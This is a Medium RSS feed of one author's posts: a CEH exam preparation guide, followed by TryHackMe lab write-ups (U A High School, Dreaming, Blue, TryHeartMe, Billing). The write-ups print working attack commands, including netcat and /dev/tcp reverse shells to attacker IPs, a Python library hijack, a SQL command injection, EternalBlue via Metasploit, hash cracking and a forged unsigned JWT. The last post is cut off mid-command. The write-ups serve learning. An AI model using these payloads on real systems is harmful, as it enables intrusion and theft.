<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by harsha0x on Medium]]></title>
        <description><![CDATA[Stories by harsha0x on Medium]]></description>
        <link>https://medium.com/@harsha0x?source=rss-aade6546b304------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zA79NSN8tN-6FsIcx9QuTA.jpeg</url>
            <title>Stories by harsha0x on Medium</title>
            <link>https://medium.com/@harsha0x?source=rss-aade6546b304------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 15:26:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@harsha0x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Take on How to Prepare for CEH Theory]]></title>
            <link>https://medium.com/@harsha0x/my-take-on-how-to-prepare-for-cehv13-theory-ddebc41242e3?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/ddebc41242e3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ceh-v13]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ec-council]]></category>
            <category><![CDATA[preparation]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Wed, 02 Dec 2026 13:13:53 GMT</pubDate>
            <atom:updated>2026-12-02T13:15:20.941Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*WXmC-nzR1CcsWwS3F7Qq8A.png" /></figure><p>Hi guys! I want to share what actually worked for me while preparing for my CEHv13 Theory exam. Might as well put it out here in case it helps someone going through the same grind.</p><p>If you don’t know the structure of the CEH Theory exam yet, here’s a quick heads-up: it’s an MCQ exam with <strong>125 questions in 4 hours</strong>. That gives you roughly 2 minutes per question. Sounds like plenty of time, right? Not quite — every question is around <strong>6 to 10 lines long</strong>, packed with context. Be prepared to read a lot and manage your time accordingly.</p><h3>1. Know What Your Bundle Actually Includes</h3><p>Before you buy a voucher or training package, ask them upfront whether you get the full training suite or just the exam attempt.</p><p>I went with the <strong>CEH Elite bundle</strong>, which included:</p><ul><li><strong>Exam Vouchers:</strong> Theory (with 1 retake) + Practical</li><li><strong>Video Lessons:</strong> Around <strong>40 to 50 hours of video content</strong> covering concept breakdowns plus step-by-step lab videos showing how to run tools and what output to expect</li><li><strong>Labs:</strong> Guided lab environments with a separate instruction window to practice each module’s tools (note: these are guided setups to learn the tools, not CTF-style challenges to solve)</li><li><strong>Skill Check point CEH Engage:</strong> Actual lab-based challenges right inside the EC-Council course portal where you solve things hands-on using what you just learned</li><li><strong>CyberQ:</strong> A practice portal with simulated exams and topic-wise readiness feedback</li><li><strong>EC-Council e-Courseware:</strong> Massive web based PDFs meant to explain the concepts in depth</li></ul><h3>2. Pacing &amp; How I Structured My 2-Month Prep</h3><p>I took about <strong>2 months</strong> to prepare. I didn’t lock myself into <em>only</em> CEH material — I kept things interesting by solving TryHackMe rooms alongside it so I wouldn’t burn out.</p><p>My original goal was to finish <strong>1 module a day</strong>, because you really need momentum to absorb everything. Realistically, though, it averaged out to <strong>2 days per module</strong>, and that worked out fine — especially since <strong>not every module is the same size</strong>. Some modules have around <strong>5 lessons</strong>, while the heavier ones pack in <strong>around 18 lessons</strong>, so your pace will naturally vary depending on the module.</p><p>Here is how the course is structured and how I moved through each of the <strong>20 modules</strong>:</p><ol><li><strong>Go Learning Objective by Learning Objective:</strong> Every module is broken down into smaller sections (Learning Objectives). Tackle one objective at a time rather than binging blindly.</li><li><strong>Watch the Concept &amp; Lab Videos First:</strong> Watch the explanation videos and the lab walkthrough videos. <strong>Tip:</strong> Don’t try to mimic the lab videos click-for-click while watching. Just watch to understand the workflow and what the tool is doing.</li><li><strong>Do the iLabs &amp; CEH engage Challenges:</strong> Once you understand the flow, jump into the guided iLab. You always have the built-in instructions tab to refer to if you get stuck — treating it like a walkthrough is completely fine here. Afterward, tackle the <strong>CEH engage challenges</strong> inside the portal — these are proper lab-based challenges that give you real hands-on experience applying what you learned.</li></ol><p><em>(Keep in mind: this entire workflow is strictly for the </em><strong><em>Theory</em></strong><em> exam, not the Practical.)</em></p><h3>3. How to “Read” the e-Courseware (Spoiler: You Don’t)</h3><p>Let’s be honest about the official e-Courseware content: they are massive, dense, and painful to read line by line. I couldn’t do it — and honestly, I don’t think anyone should, will, or ever has.</p><p>Instead, <strong>let AI do the heavy lifting</strong>:</p><ul><li>Copy-paste the e-Courseware text <strong>Learning Objective by Learning Objective</strong> into an AI tool.</li><li>Have it break down what the section is actually saying and pull out the key takeaways.</li><li>Cross-reference that with what you just watched in the video so the concept clicks.</li></ul><h3>4. Note-Taking: Why Obsidian Saved Me</h3><p>With <strong>20 modules, 40 to 50 hours of videos, labs, challenges, and thousands of PDF pages</strong>, you <em>will</em> start forgetting earlier topics by the time you reach the end. Good notes are non-negotiable.</p><p>I used <strong>Obsidian</strong> and strongly recommend it if you aren’t using it already. Install it and tweak the visuals so your notes are actually pleasant to look at — the cleaner and easier on the eyes your notes are, the more peacefully you can revise them later.</p><ul><li>Personally, I use the <strong>Blue Topaz</strong> theme with custom heading styles on top of it (you can check out my color scheme setup here: <a href="https://github.com/harsha0x/obsidian-custom-colours">github.com/harsha0x/obsidian-custom-colours</a></li></ul><p><strong>How to build your notes:</strong></p><ul><li><strong>Organize module by module</strong> — this will be the best decision you make during revision.</li><li><strong>Don’t limit yourself to just theory.</strong> Write down everything that matters: tool names, specific commands, flags, port numbers, and attack phases.</li></ul><h3>5. CyberQ, Practice Tests &amp; The Real Exam Trap</h3><p>Once you finish the lessons and your notes are solid, start taking mock exams.</p><p>If your bundle includes <strong>CyberQ</strong>, definitely use it — its simulated exams and <strong>topic-wise feedback</strong> are great for getting a clear gauge on your overall readiness and spotting weak areas. Just keep in mind that <strong>CyberQ questions aren’t all that hard to solve, nor are they very long to read.</strong></p><p>And that brings me to a mistake I made that you should avoid: <strong>do not rush through practice questions or dumps.</strong> The real exam uses way more technical jargon and tricky phrasing than CyberQ or most practice tests, and every question is a dense paragraph. If you build a habit of skimming practice questions, it will hurt you on test day.</p><p>Practice reading <strong>every single word with patience</strong>. On the actual exam, I finished with 30 minutes left on the clock, and I wasn’t relaxing in there — it took non-stop, focused reading from start to finish. Seriously, be ready to read. The important thing here is not the topics being too hard but the actual questions being so long and tricky to understand.</p><h3>6. Final thing: Scheduling Your Exam</h3><p>Most prep blogs skip this, so here’s a practical tip: <strong>book your exam slot at least 1 to 2 weeks in advance.</strong></p><p>Good slots fill up fast, and if you wait until the last minute, you won’t get your preferred time of day. Since it’s a 4-hour reading marathon, you want to take it during the window when your brain is sharpest.</p><p>That’s pretty much everything that got me through CEH Theory. Now that I’m on the other side of the table, I feel happy to help anyone currently preparing — drop your questions in the comments below and I’ll get back to you</p><blockquote>Happy learning</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddebc41242e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[U A High School THM Room Write-Up]]></title>
            <link>https://medium.com/@harsha0x/u-a-high-school-thm-room-write-up-5f60c1ccabad?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f60c1ccabad</guid>
            <category><![CDATA[writing-challenge]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[blog]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Wed, 26 Aug 2026 12:03:43 GMT</pubDate>
            <atom:updated>2026-08-26T12:03:43.692Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys I’m here with another crazy write-up</p><p>Room name: U A High School<br>Room difficulty: EASY</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*yneMu-D_D30SUDXA" /></figure><p>I should solve some non-easy rooms ey😅, anyway we got the IP with a description of mostly nothing.</p><p>Nmap gave me open ports 22 and 80</p><p>The website itself is not giving off something even after searching through their source code pages nothing</p><p>Even Gobuster gave me so little this time</p><p>It only gave me an assets directory and a server-status which both are seemed nothing, I then tried for any subdomains with ffuf but nothing came up.</p><p>Then I read the desc of the machine once again and decided to dig deeper and ran gobuster from the the assets page and got an index.php, weird but its blank completely. Anther break here.</p><p>I researched about blank index.php pages and got to know that it may be waiting for a query and tried fuzzing the parameters and values again nothing.</p><p>But why not try a cmd parameter may be its directly asking for a command, I know its weird but it is really asking for a command</p><p>http://MACHINE_IP/assets/index.php?cmd=ls boom!! its answering in base64.</p><p>echo BASE_64_STRING | base64 -d resulted in some assets like images, index.php and some other but we can get a rev shell from the cmd prompt and got the reverse shell with a blink of an eye</p><pre>rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2&gt;&amp;1 | nc YOUR_IP LISTENING_PORT &gt;/tmp/f</pre><p>remember to listen on the particular port on your terminal with nc -lnvp LISTENING_PORT we got the shell.</p><p>but user.txt belongs to the user deku, of course from My Hero Academia. wandered around for the password for the user deku and there is a folder called Hidden_Content and from it I got a passphrase and thought I should crack some ssh this time and searched for that but no, the folder .ssh is protected by user deku</p><p>But there is a suspicious image in images directory, a jpg file and I downloaded it cause why not that’s the only lead I got , and guess what its broken</p><p>I used some online tools to fix it and searched with strings and steghide. As expected the steghide is asking for a password and I gave the password I got from the Hidden_Content folder.</p><p>Now we know the password for user deku.</p><p>I switched to the user deku and got the user.txt</p><p>Now for the root privileges we need something to escalate our privileges, I ran sudo -l to know what files can this user run with sudo privileges, it directed me to a .sh file</p><pre>User deku may run the following commands on ip-10-48-184-107: (ALL) /opt/NewComponent/feedback.sh</pre><p>After reading the code inside it I suspected some insecure processing of user feedback but I don’t know how to exploit it.</p><p>I did some research and got to know that we can make our self as sudoers user but running this command</p><p>and I submitted my feedback with altering the user name as deku and guess what it worked…</p><p>I switched to the root user with sudo su and got the root.txt</p><p>It seems I got both flags in a spawn of 2hrs? NOPE I started the room yesterday night and got stuck and slept, I restarted my enumeration today morning and completed it at around lunch time🤣. Anyway this is a good room for learning.</p><p>Thank you for reading see you soon.</p><p><em>Originally published at </em><a href="https://starfellharbor.mooo.com/blog/U%20A%20High%20School%20THM%20Room%20Write-Up/"><em>https://starfellharbor.mooo.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f60c1ccabad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dreaming THM write-up]]></title>
            <link>https://medium.com/@harsha0x/dreaming-thm-write-up-1f357e791796?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f357e791796</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[blog]]></category>
            <category><![CDATA[news]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Thu, 30 Jul 2026 15:31:01 GMT</pubDate>
            <atom:updated>2026-07-30T15:31:01.530Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QfffA6ehhcB3GkdeKv0Vpg.png" /></figure><h3>Introduction</h3><p><strong>Dreaming</strong> is a fantastic, beginner-friendly room on TryHackMe that tests your web enumeration skills, database manipulation knowledge, and ability to exploit misconfigured Python libraries for privilege escalation.</p><p>Here is the complete step-by-step breakdown of how I compromised this machine, escalating from www-data to lucien, death, and finally morpheus.</p><h3>1. Web Enumeration</h3><p>Starting with directory brute-forcing using <strong>Gobuster</strong>, I discovered an interesting subdirectory: /app. Navigating there revealed that the server was running <strong>Pluck CMS version 4.7.13</strong>.</p><p>Using searchsploit, I looked up known vulnerabilities for this version:</p><p>Bash</p><pre>searchsploit pluck 4.7.13</pre><p>I found an exploit matching <strong>Pluck CMS 4.7.13 — File Upload Remote Code Execution (Authenticated)</strong>.</p><h3>2. Bypassing Authentication &amp; RCE</h3><p>Because this exploit requires administrative privileges, I attempted to log into the admin panel using weak/common credentials. Standard combinations did the trick:</p><ul><li>Username/Password: admin</li></ul><p>Once authenticated, I utilized the file upload functionality to execute a Python script to get a basic Powny Shell. To stabilize and make my interaction easier, I executed a traditional Netcat one-liner to spawn a reverse shell back to my attacking machine:</p><p>Bash</p><pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.135.178 4444 &gt;/tmp/f</pre><p>I successfully caught the shell as www-data.</p><h3>Phase 2: Horizontal Privilege Escalation (lucien)</h3><h3>1. Manual Reconnaissance</h3><p>As www-data, I began looking for sensitive files readable by any user. During my hunt in the /opt directory, I hit a breakthrough. Inside a file called /opt/test.py, I found <strong>Lucien&#39;s password</strong> stored in plaintext.</p><h3>2. Upgrading to SSH</h3><p>Armed with the password, I SSH’ed into the target machine to get a stable, fully interactive shell as lucien:</p><p>Bash</p><pre>ssh lucien@&lt;Target-IP&gt;</pre><h3>Phase 3: Lateral Movement to death</h3><h3>1. Checking Sudo Privileges</h3><p>The first rule of Linux post-exploitation is running sudo -l. Lucien&#39;s privileges showed the following:</p><p>Plaintext</p><pre>User lucien may run the following commands on ip-10-49-142-158: (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py</pre><p>Running the script manually just outputs some dream entries:</p><p>Plaintext</p><pre>Alice + Flying in the sky<br>Bob + Exploring ancient ruins<br>...</pre><h3>2. Database Exploitation</h3><p>To understand where this script gets its data, I checked lucien&#39;s .bash_history file. Inside, I found hardcoded <strong>MySQL credentials</strong> for the lucien user.</p><p>I logged into the database:</p><p>Bash</p><pre>mysql -u lucien -p</pre><p>Inside the library database, there was a table named dreams. Recognizing that getDreams.py pulls text directly from this table and likely executes it unsafely in a system subshell, I decided to perform a command injection attack by inserting a bash spawn string into the table:</p><p>SQL</p><pre>INSERT INTO dreams (column_name) VALUES (&quot;$(/bin/bash)&quot;);</pre><p>Once the payload was safely in the database, I triggered the sudo command as the user death:</p><p>Bash</p><pre>sudo -u death /usr/bin/python3 /home/death/getDreams.py</pre><p>The script read my SQL payload, executed the command injection, and dropped me into a shell as death.</p><ul><li>FLAG 2 Captured!</li></ul><h3>Phase 4: Vertical Privilege Escalation (morpheus)</h3><h3>1. Python Library Hijacking</h3><p>Navigating into /home/morpheus, I found a backup script named restore.py:</p><p>Python</p><pre>from shutil import copy2 as backup<br>src_file = &quot;/home/morpheus/kingdom&quot;<br>dst_file = &quot;/kingdom_backup/kingdom&quot;<br>backup(src_file, dst_file)<br>print(&quot;The kingdom backup has been done!&quot;)</pre><p>The script imports the shutil library. I checked the permissions of the system&#39;s global Python library directory to see if shutil.py was secure:</p><p>Bash</p><pre>death@ip-10-49-142-158:/lib/python3.8$ ls -la | grep &quot;shutil.py&quot; -rw-rw-r-- 1 root death 51474 Mar 18 2025 shutil.py</pre><p>Because the shutil.py file belonged to the death group and was <strong>writable</strong>, I could hijack it!</p><h3>2. Catching Root/Morpheus</h3><p>I appended a Python reverse shell directly into the global shutil.py file:</p><p>Bash</p><pre>echo &quot;import os;os.system(\&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.168.135.178/1234 0&gt;&amp;1&#39;\&quot;)&quot; &gt; /usr/lib/python3.8/shutil.py</pre><p>Knowing that restore.py was being run automatically in the background via a system cron job, I opened a listener on my attack machine on port 1234:</p><p>Bash</p><pre>nc -lnvp 1234</pre><p>After a brief wait, the cron job executed restore.py, which imported my malicious shutil.py file. The reverse shell connected back instantly, yielding a root/morpheus level shell.</p><ul><li>FLAG 3 Captured! Room Complete!</li></ul><h3>Conclusion &amp; Key Takeaways</h3><ol><li><strong>Sanitize Inputs:</strong> The database command injection emphasizes why apps must never use user-controlled inputs (or database strings) directly in system shell executions.</li><li><strong>Secure the Standard Library:</strong> Python libraries should never be writable by non-root users. Group write permissions on folders like /usr/lib/python3.x/ can lead to immediate system compromise via library hijacking.</li></ol><p><em>Originally published at </em><a href="https://starfellharbor.mooo.com/blog/Write-up%20Dreaming%20THM/"><em>https://starfellharbor.mooo.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f357e791796" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BLUE THM write-up]]></title>
            <link>https://medium.com/@harsha0x/blue-thm-write-up-6312d1f8e45f?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/6312d1f8e45f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[solved]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[pwned]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Wed, 29 Jul 2026 15:31:01 GMT</pubDate>
            <atom:updated>2026-07-29T15:31:01.629Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZC5Zm6Z6zu-JS8xyvdFurQ.png" /></figure><h3>Introduction</h3><p><strong>Blue</strong> is a foundational, beginner-friendly room on TryHackMe that acts as a stark reminder of why legacy protocols should be deprecated. The target centers entirely around exploiting <strong>EternalBlue</strong> (CVE-2017–0143), a critical buffer overflow vulnerability in Microsoft’s Server Message Block (SMBv1) protocol.</p><h3>The Attack Chain</h3><p>Plaintext</p><pre>Nmap Vulnerability Scan (Identify EternalBlue / MS17-010) Launch Metasploit (`exploit/windows/smb/ms17_010_eternalblue`) Gain Initial NT AUTHORITY\SYSTEM Access Upgrade Shell to Meterpreter Session Dump Hashes using Hashdump → Crack with John the Ripper</pre><h3>Phase 1: Reconnaissance &amp; Vulnerability Scanning</h3><p>The assessment began with an initial infrastructure scan using nmap to map the system landscape and discover open services:</p><p>Bash</p><pre>nmap -sV -sC -O -oN nmap_initial.txt &lt;TARGET_IP&gt;</pre><p>The output confirmed standard Windows infrastructure services, highlighting <strong>Port 445 (SMB)</strong> as an open vector. Given the legacy nature of the OS hint, checking for known SMB flaws was the logical next step. Running Nmap’s targeted MS17–010 script confirmed suspicions:</p><p>Bash</p><pre>nmap --script smb-vuln-ms17-010 -p 445 &lt;TARGET_IP&gt;</pre><p>The script output returned a definitive VULNERABLE state, showing the host was susceptible to remote code execution.</p><h3>Phase 2: Exploitation &amp; Initial Access</h3><p>Because EternalBlue requires precise memory manipulation to succeed stably, the <strong>Metasploit Framework</strong> was used to manage the payload delivery.</p><p>Firing up msfconsole, the standard module was selected:</p><p>Bash</p><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><p>The necessary configuration fields were filled out, pointing RHOSTS to the target machine and LHOST to the local TryHackMe VPN interface IP:</p><p>Bash</p><pre>set RHOSTS &lt;TARGET_IP&gt;<br>set LHOST &lt;YOUR_IP&gt;</pre><p>Running exploit sent the malformed SMBv1 packets down the wire. The kernel pool overflow triggered smoothly, catching an inbound connection and opening a high-privilege NT command shell. Because the exploit overrides a kernel service, there was no need to bypass standard user permissions; access was granted as <strong>NT AUTHORITY\SYSTEM</strong> instantly.</p><h3>Phase 3: Post-Exploitation &amp; Credential Dumping</h3><p>While a basic command shell is fine, upgrading to a <strong>Meterpreter</strong> session unlocks standard post-exploitation suites.</p><p>Backgrounding the shell ( Ctrl + Z) allowed access to the post-management upgrade module:</p><p>Bash</p><pre>use post/multi/manage/shell_to_meterpreter<br>set SESSION 1<br>exploit</pre><p>Dropping into the newly generated session ( sessions -i 2) made it possible to interact with the local Security Account Manager (SAM) database. Running hashdump pulled the NT password signatures directly from memory:</p><p>Plaintext</p><pre>Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::</pre><p>The NT hash segment for the local user ( ffb43f0de35be4d9917ac0cc8ad57f8d) was isolated and saved into a local text file called hash.txt. From there, <strong>John the Ripper</strong> took care of the rest, comparing the signature against the standard rockyou.txt wordlist:</p><p>Bash</p><pre>john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</pre><p>Within moments, the cryptographic signature was reversed, outputting the cleartext login password for the local user account.</p><p><em>Originally published at </em><a href="https://starfellharbor.mooo.com/blog/Write-Up%20BLUE%20THM/"><em>https://starfellharbor.mooo.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6312d1f8e45f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHeartMe THM write-up]]></title>
            <link>https://medium.com/@harsha0x/tryheartme-thm-write-up-a4ffb5e4cc7d?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4ffb5e4cc7d</guid>
            <category><![CDATA[labs]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[solved]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 15:31:01 GMT</pubDate>
            <atom:updated>2026-07-27T15:31:01.706Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MneJ6ozHPa5aHwyqI6k-Rg.png" /></figure><h3>Introduction</h3><p><strong>TryHeartMe</strong> is an excellent, easy-difficulty web challenge featured in TryHackMe’s Valentine-themed <em>Love at First Breach</em> track. The challenge simulates a boutique online shop managed by Chief Inspector Valentine. Our primary objective? Find a way to purchase the hidden, restricted item <strong>“Valenflag”</strong> without having the necessary credits or permissions.</p><p>This room focuses heavily on client-side token security, specifically showcasing how misconfigured <strong>JSON Web Tokens (JWT)</strong> can lead to total authentication bypass and privilege escalation.</p><h3>The Attack Chain At-A-Glance</h3><pre>Create Account &amp; Log In <br>       ↓<br>Extract JWT from Browser Cookies<br>       ↓<br>Modify Payload (Change Role &amp; Credits) + Set Alg to &#39;none&#39;<br>       ↓<br>Inject Forged Token Back into Cookie<br>       ↓<br>Access Admin Panel &amp; Purchase &quot;Valenflag&quot;</pre><h3>Step-by-Step Breakdown</h3><h3>Phase 1: Registration and Initial Reconnaissance</h3><p>Upon navigating to http://&lt;MACHINE_IP&gt;:5000, we are greeted by the TryHeartMe shop interface.</p><ol><li><strong>Account Creation:</strong> The app requires authentication before giving access to the full checkout features. I registered a fresh user account and logged in.</li><li><strong>The Session Mechanism:</strong> Inspecting how the application tracks state, it doesn’t use standard session IDs. Instead, it relies on a client-side <strong>JSON Web Token (JWT)</strong> stored within the browser cookies.</li></ol><h3>Phase 2: Intercepting and Analyzing the JWT</h3><p>To view the token:</p><ol><li>Open your browser’s <strong>Developer Tools</strong> ( F12).</li><li>Select the challenge domain to find a highly structured cookie string split by two periods (.), following the standard layout: header.payload.signature.</li></ol><p>Copying this entire token string over to a decoder like <strong>jwt.io</strong> (or running echo &lt;token_part&gt; | base64 -d in the terminal) reveals the data structures inside:</p><pre>{<br>  &quot;email&quot;: &quot;user@mail.com&quot;,<br>  &quot;role&quot;: &quot;user&quot;,<br>  &quot;credits&quot;: 0,<br>  &quot;theme&quot;: &quot;valentine&quot;<br>}</pre><h4>2. The Forged Payload</h4><p>Escalate the authorization level to admin and crank up the credits field:</p><pre>{<br>  &quot;email&quot;: &quot;user@mail.com&quot;,<br>  &quot;role&quot;: &quot;admin&quot;,<br>  &quot;credits&quot;: 10000,<br>  &quot;theme&quot;: &quot;valentine&quot;<br>}</pre><h4>3. Reassembling the Token</h4><p>I base64-encoded (URL-safe) both pieces individually and joined them together with a period. Crucially, because the algorithm is none, <strong>the third signature part is left blank</strong>, but the trailing period remains:</p><pre>eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJlbWFpbCI6InVzZXJAbWFpbC5jb20iLCJyb2xlIjoiYWRtaW4iLCJjcmVkaXRzIjoxMDAwMCwidGhlbWUiOiJ2YWxlbnRpbmUifQ.</pre><h3>Phase 4: Privilege Escalation &amp; Flag Recovery</h3><ol><li><strong>Injecting the Exploit:</strong> I went back to the browser’s Cookie Developer tools, replaced the original JWT token string with the newly forged one, and refreshed the page.</li><li><strong>Verifying the Bypass:</strong> The application successfully accepted the signature-less token. The UI adjusted immediately, reflecting an Admin role status and a balance of 10,000 credits.</li><li><strong>Buying the Flag:</strong> Navigating to the restricted administrative panel path at http://&lt;MACHINE_IP&gt;:5000/admin, a hidden store option appeared. Purchasing the restricted item triggered an application redirect to the checkout receipt path: /receipt/valenflag.</li></ol><blockquote><strong><em>Flag Captured:</em></strong><em> </em><em>THM{v4l3nt1n3_jwt_c00k13_t4mp3r_4dm1n_sh0p}</em></blockquote><ul><li><strong>Never Trust the Client:</strong> Storing sensitive authorization claims (like role or wallet balances) purely client-side without strict server-side validation is highly dangerous.</li><li><strong>Enforce Strict Algorithmic Restrictions:</strong> Modern JWT backend libraries must explicitly disable or block the none algorithm during verification states ( JWT.verify()).</li><li><strong>Enforce Rigorous Signature Verification:</strong> A JWT is only as secure as its signing mechanism. The application backend must actively reject any tokens that do not possess a signature verified against a robust, securely stored server secret key.</li></ul><p><em>Originally published at </em><a href="https://starfellharbor.mooo.com/blog/Write-Up%20TryHeartMe/"><em>https://starfellharbor.mooo.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4ffb5e4cc7d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Billing THM write-up]]></title>
            <link>https://medium.com/@harsha0x/billing-thm-write-up-7cd8202ba8d4?source=rss-aade6546b304------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cd8202ba8d4</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[solved]]></category>
            <category><![CDATA[blog]]></category>
            <dc:creator><![CDATA[harsha0x]]></dc:creator>
            <pubDate>Fri, 24 Jul 2026 15:31:01 GMT</pubDate>
            <atom:updated>2026-07-24T15:31:01.549Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IDJKKwkGQtyCHEDm4F2SLA.png" /></figure><h3>Introduction</h3><p><strong>Billing</strong> is an engaging easy-difficulty boot-to-root challenge on TryHackMe. The room showcases how a hidden directory exposing sensitive third-party software components can lead to Remote Code Execution (RCE). Furthermore, it features a creative privilege escalation vector that exploits a misconfigured <strong>Fail2Ban</strong> installation where a user has sudo rights over the client binary.</p><h3>The Attack Chain At-A-Glance</h3><pre>Nmap Scan (Ports 22, 80, 3306) Discover `/mbilling/` &amp; Hidden `/lib/` Directory via robots.txt Identify Vulnerable Icepay Module → Achieve RCE (www-data / asterisk) Enumerate Sudo Rights (`sudo -l` reveals NOPASSWD for fail2ban-client) Modify Fail2Ban `actionban` Config to Run a Reverse Shell Payload Ban Localhost (127.0.0.1) → Trigger Payload Execution → Get Root Shell</pre><h3>1. Network Scanning</h3><p>An initial infrastructure scan using nmap reveals three open ports:</p><ul><li><strong>Port 22 (SSH):</strong> OpenSSH 8.4p1</li><li><strong>Port 80 (HTTP):</strong> Apache 2.4.56 hosting a web platform</li><li><strong>Port 3306 (MySQL):</strong> MariaDB instance (Access Unauthorized)</li></ul><p>Checking the web server’s robots.txt file hints at a sensitive directory path: /mbilling/.</p><h3>2. Directory Harvesting &amp; Exploit Selection</h3><p>Navigating to /mbilling/ shows the application is running <strong>MagnusBilling</strong>. Further automated crawling or manual directory fuzzing reveals a exposed library subfolder at /mbilling/lib/, which houses an integrated payment utility tracking system using <strong>Icepay</strong>.</p><p>This specific module handles incoming parameters unsafely, exposing a direct <strong>Remote Command Execution (RCE)</strong> vulnerability.</p><h3>3. Catching the Initial Shell</h3><p>By sending a URL-encoded payload directly to the vulnerable endpoint parameter, we can force the system backend to call out via Netcat:</p><pre>nc%20-e%20/bin/bash%20192.168.135.178%204444</pre><p>With a local netcat listener open on port 4444, the execution triggers seamlessly, dropping us into a shell environment as the web application process user ( www-data or asterisk).</p><h3>Phase 2: System Enumeration</h3><p>To plan vertical escalation pathing, running sudo -l reveals a powerful misconfiguration in the sudoers policy:</p><pre>User asterisk may run the following commands on target: (root) NOPASSWD: /usr/bin/fail2ban-client *</pre><p>The system allows the user to interact directly with the <strong>Fail2Ban</strong> client suite with root privileges without requiring a password. Fail2Ban is an intrusion prevention framework that blocks malicious IP addresses by altering local firewall profiles.</p><h3>Phase 3: Privilege Escalation (root)</h3><p>Because we possess full administrative controls over fail2ban-client, we can dynamically reconfigure the parameters that determine what the service actually <em>does</em> when it decides to ban an offender.</p><h3>1. Hijacking the Ban Action</h3><p>Rather than letting Fail2Ban run its traditional iptables rules to drop traffic, we can inject a reverse shell command into the actionban configuration rule for a specific operational jail (like the sshd jail):</p><pre>sudo fail2ban-client set sshd actionban &quot;nc -e /bin/bash 192.168.135.178 5555&quot;</pre><p>This instruction alters the runtime engine. The moment a ban trigger trips, the server will execute our custom reverse shell script under the context of the core system daemon-which runs as <strong>root</strong>.</p><h3>2. Triggering the Exploit</h3><p>To force the modified action rule to run immediately without needing to wait for a real external attack, we can use the client utility to manually ban an address.</p><p>Banning the loopback address ( 127.0.0.1) forces the local service instance to process the event instantly:</p><pre>sudo fail2ban-client set sshd banip 